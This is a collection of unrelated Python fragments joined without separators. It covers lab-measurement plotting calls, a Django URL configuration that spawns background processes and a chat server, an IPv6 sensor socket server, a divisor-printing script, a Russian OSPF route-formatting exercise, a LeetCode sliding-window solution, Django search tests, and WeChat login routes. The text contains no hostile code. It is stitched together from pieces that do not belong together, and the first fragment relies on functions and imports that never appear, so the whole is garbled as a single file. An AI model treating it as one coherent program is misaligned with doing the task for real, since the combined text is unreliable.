#process_input('input-1-1', 'output-1-1-1', options)

#options = {'x-n' : 'V', 'y-n' : 'I', 'x-f' : (lambda x, y: x * 2 - y * 0.52), 'y-f' : (lambda x, y: y), 'x-e' : 2, 'y-e' : 1}
#process_input('input-1-1', 'output-1-2-1', options)

#options = {'x-n' : 'V', 'y-n' : 'I', 'x-f' : (lambda x, y: x * 2), 'y-f' : (lambda x, y: y), 'x-e' : 2, 'y-e' : 1}
#process_input('input-1-2', 'output-1-1-2', options)

#options = {'x-n' : 'V', 'y-n' : 'I', 'x-f' : (lambda x, y: x * 2 - y * 0.52), 'y-f' : (lambda x, y: y), 'x-e' : 2, 'y-e' : 1}
#process_input('input-1-2', 'output-1-2-2', options)

############################################################################################################

r_0 = 5.2 * 1000
r_cr = 200.0 * 1000
u = 54.0 * 2
v_1 = 45.0 * 2
v_2 = 41.0 * 2

r_c = 900.0 * 1000
c_c = 0.05
ln_c = math.log((u - v_2) / (u - v_1))

options = {
	'x-n' : 'C',
	'y-n' : 'T',
	'x-f' : (lambda x, y: x),
	'y-f' : (lambda x, y: 1.0 / y),
	'x-e' : (lambda x, y: 0.001),
	'y-e' : (lambda x, y: (5.0 / y) * (1.0 / y))
}
process_input('input-2', 'output-2-1', options)

options = {
	'x-n' : 'C',
	'y-n' : 'T',
	'x-f' : (lambda x, y: x),
	'y-f' : (lambda x, y: x * r_c * (10.0 ** -6) * ln_c),
	'x-e' : (lambda x, y: 0.001),
	'y-e' : (lambda x, y: 0)
}
process_input('input-2', 'output-2-2', options)

############################################################################################################

options = {
	'x-n' : 'R',
	'y-n' : 'T',
	'x-f' : (lambda x, y: x),
	'y-f' : (lambda x, y: 1.0 / y),
	'x-e' : (lambda x, y: 10),
	'y-e' : (lambda x, y: (5.0 / y) * (1.0 / y))
}
process_input('input-3', 'output-3-1', options)

options = {
	'x-n' : 'R',
	'y-n' : 'T',
	'x-f' : (lambda x, y: x),
	'y-f' : (lambda x, y: x * c_c * (10.0 ** -3) * ln_c),
	'x-e' : (lambda x, y: 0.001),
	'y-e' : (lambda x, y: 0)
}
process_input('input-3', 'output-3-2', options)


"""aposteriori URL Configuration

The `urlpatterns` list routes URLs to views. For more information please see:
    https://docs.djangoproject.com/en/1.8/topics/http/urls/
Examples:
Function views
    1. Add an import:  from my_app import views
    2. Add a URL to urlpatterns:  url(r'^$', views.home, name='home')
Class-based views
    1. Add an import:  from other_app.views import Home
    2. Add a URL to urlpatterns:  url(r'^$', Home.as_view(), name='home')
Including another URLconf
    1. Add an import:  from blog import urls as blog_urls
    2. Add a URL to urlpatterns:  url(r'^blog/', include(blog_urls))
"""
from django.conf.urls import url, include
from django.contrib import admin

from applications import *
from views import video, index, registration, downloads, games, auth_view, logout, chart

urlpatterns = [
    url(r'^admin/', include(admin.site.urls)),
    url(r'^$', video),
    url(r'^games/(?P<game>[a-z]+)/$', games),
    url(r'^registration$', registration),
    url(r'^registration/auth$', auth_view),
    url(r'^registration/logout$', logout),

    url(r'^index/$', index),
    url(r'^index/chart$', chart),

    url(r'^index/downloads$', downloads),
    url(r'^index/applications/Chat/', include('applications.Chat.urls')),
    url(r'^index/applications/HeadHunterTouch',
        include('applications.HeadHunterTouch.urls', namespace="HeadHunterTouch")),

]
from multiprocessing import Process
from applications.HeadHunterTouch.HeadHunterTouch import touch, staticloop

t = Process(target=touch)
t.start()
p = Process(target=staticloop)
p.start()

from subprocess import Popen
from aposteriori.settings import BASE_DIR
pchat = Popen('python %s/applications/Chat/tornadoserver.py' % BASE_DIR, shell=True)


import socketserver
import socket
from threading import Thread

from SensorServerHandler import SensorServerHandler

class V6Server(socketserver.TCPServer):
    address_family = socket.AF_INET6

class SensorServer():

	def __init__(self, sensor):

		t = Thread(target = self.asynch_execution, args = [sensor])

		t.start()

	def asynch_execution(self, sensor):

		HOST = '::1'
		PORT = 0

		server = V6Server((HOST, PORT), SensorServerHandler)

		port = server.server_address[1]
		print('sensor server for id', sensor.id, 'listens to port', port)

		server.sensor = sensor

		server.serve_forever()


#Does it shown up?
def method_name():
    import sys
    divisor = int(input('ENTER A NUMBER: '))
    for i in range(1, int(divisor / 2) + 1):
        if divisor % i == 0:
            sys.stdout.write('%s ' % i)

method_name()
print('SHOW ME')


# -*- coding: utf-8 -*-
"""
Задание 4.6

Обработать строку ospf_route и вывести информацию на стандартный поток вывода в виде:
Prefix                10.0.24.0/24
AD/Metric             110/41
Next-Hop              10.0.13.3
Last update           3d18h
Outbound Interface    FastEthernet0/0

Ограничение: Все задания надо выполнять используя только пройденные темы.

"""

ospf_route = "      10.0.24.0/24 [110/41] via 10.0.13.3, 3d18h, FastEthernet0/0"
ospf_route=ospf_route.split()
ospf_route1=ospf_route[0]
ospf_route2=ospf_route[1].strip('[]')
ospf_route3=ospf_route[3].strip(',')
ospf_route4=ospf_route[4].strip(',')
ospf_route5=ospf_route[5]

prefix="Prefix"
adm="AD/Metric"
nh="Next-Hop"
lu="Last update"
oi="Outbound Interface"
print("{:20} {:20}".format(prefix, ospf_route1))
print("{:20} {:20}".format(adm, ospf_route2))
print("{:20} {:20}".format(nh, ospf_route3))
print("{:20} {:20}".format(lu, ospf_route4))
print("{:20} {:20}".format(oi, ospf_route5))


class Solution:
    def minSubArrayLen(self, target: int, nums: List[int]) -> int:
        ## using sliding windows
        sum = 0
        min_size = float('inf')
        i = -1 ## left pointer; j is right pointer

        ##pointer向右移动增加sum直到sum达到target值
        for j, number in enumerate(nums):
            sum += number
            ##达到target值以后移动左侧pointer缩小windows范围
            while (sum >= target):
                min_size = min (min_size, j - i)
                i +=1
                sum -= nums[i]

        if min_size == float('inf'):
            ##no solution
            return (0)
        else:
            return (min_size)


"""
    Licensed under the Apache License, Version 2.0 (the "License");
    you may not use this file except in compliance with the License.
    You may obtain a copy of the License at

        http://www.apache.org/licenses/LICENSE-2.0

    Unless required by applicable law or agreed to in writing, software
    distributed under the License is distributed on an "AS IS" BASIS,
    WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
    See the License for the specific language governing permissions and
    limitations under the License.
"""
from django.test import TestCase
from .models import ProvinceState, Well, WellActivityType, WellClass, DrillingCompany, Driller
from .search import Search
import datetime

class SearchTestCase(TestCase):

    @classmethod
    def setUpTestData(cls):
        prov = ProvinceState.objects.create(sort_order=1)
        prov.save()

        well_class = WellClass.objects.create(sort_order=1)
        well_class.save()

        w = Well.objects.create(well_class=well_class, owner_province_state=prov)
        w.identification_plate_number = 123
        w.street_address = '123 Main St.'
        w.legal_plan = '7789'
        w.owner_full_name = 'John Smith'
        w.save()

        w2 = Well.objects.create(well_class=well_class, owner_province_state=prov)
        w2.identification_plate_number = 3456332
        w2.street_address = '555 Government Street'
        w2.legal_district_lot = '789'
        w2.owner_full_name = 'Jane Doe'
        w2.save()

        w3 = Well.objects.create(well_class=well_class, owner_province_state=prov)
        w3.identification_plate_number = 1
        w3.street_address = '200 Main Street'
        w3.legal_pid = 54321
        w3.owner_full_name = 'Joe Smith'
        w3.save()

    def test_well_search_well_number(self):
   	    wells = Search.well_search('1', '', '', '')
   	    self.assertEqual(wells.count(), 2)

    def test_well_search_address(self):
   	    wells = Search.well_search('', 'gov', '', '')
   	    self.assertEqual(wells.count(), 1)

    def test_well_search_legal(self):
   	    wells = Search.well_search('', '', '78', '')
   	    self.assertEqual(wells.count(), 2)

    def test_well_search_legal_pid(self):
        """ Check that pid can be found when searching with leading zeros
            even though field is stored as an integer
        """
        wells = Search.well_search('', '', '000054321', '')
        self.assertEqual(wells.count(), 1)

    def test_well_search_owner(self):
   	    wells = Search.well_search('', '', '', 'smi')
   	    self.assertEqual(wells.count(), 2)

    def test_well_search_well_number_owner(self):
   	    wells = Search.well_search('123', '', '', 'john')
   	    self.assertEqual(wells.count(), 1)

    def test_well_search_params_named_positional(self):
        named = Search.well_search(addr='gov')
        positional = Search.well_search('', 'gov', '', '')
        self.assertEqual(named.count(), positional.count())

    def test_well_search_empty_string_params(self):
        wells = Search.well_search('', '', '', '')
        self.assertIsNone(wells)

    def test_well_search_none_params(self):
        wells = Search.well_search(None, None, None, None)
        self.assertIsNone(wells)


from django.urls import path
from .views import WeChatLoginView, UserActiveView, UserInfoView, UserWeChatInfoView, UploadWeChatInfo

urlpatterns = [
    path('wechat-login', WeChatLoginView.as_view()),  # 微信登陆
    path('user-active', UserActiveView.as_view()),  # 通过智慧校园账号密码激活账户
    path('user-info', UserInfoView.as_view()),  # 获取用户信息
    path('user-wechat-info', UserWeChatInfoView.as_view()),  # 用户用户的微信信息
    path('upload-wechat-info', UploadWeChatInfo.as_view()),  # 上传微信上传信息
]